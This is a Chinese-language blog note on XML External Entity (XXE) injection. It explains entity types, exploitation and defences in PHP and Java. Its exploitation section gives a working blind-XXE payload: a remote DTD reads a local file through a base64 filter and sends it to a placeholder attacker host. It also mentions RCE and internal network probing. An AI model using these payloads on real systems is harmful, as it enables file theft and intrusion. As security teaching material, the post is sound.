XXE-知识点

XXE

原理

XXE(XML External Entity Injection) 全称为 XML 外部实体注入 如果使用的php中libxml低于2.9.1,或设置了libxml_disable_entity_loader(FALSE),就会造成XXE漏洞

危害和方法

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

XML相关

  • DTD:document type definition
  • 实体:
    • 内部实体:定义方法<!ENTITY xxe "test" >
    • 外部实体:定义方法<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >
    • 通用实体:用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
    • 参数实体:使用% 实体名 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
      1.只有在 DTD 文件中,参数实体的声明才能引用其他实体
      2.和通用实体一样,参数实体也可以外部引用
      3.定义:<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">

XXE 利用

  • 读取本地文件:
    • 有回显:可以使用<![CDATA[XXX]]>来包裹含特殊字符的文本防止乱码

    • 无回显:采用发起请求的方式外带数据

test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

payload:

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

  • HTTP内网主机探测
  • 文件上传:jar:{url}!{path}
  • RCE:PHP 如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

如何防御:

  • 在PHP中:libxml_disable_entity_loader(true);
  • 在java中:
1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
1
2
3
4
5
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
  • 黑名单过滤关键词

XXE-知识点
https://coutcin-xw.github.io/2022/04/23/XXE-知识点/
作者
CoutCin
发布于
2022年4月23日
许可协议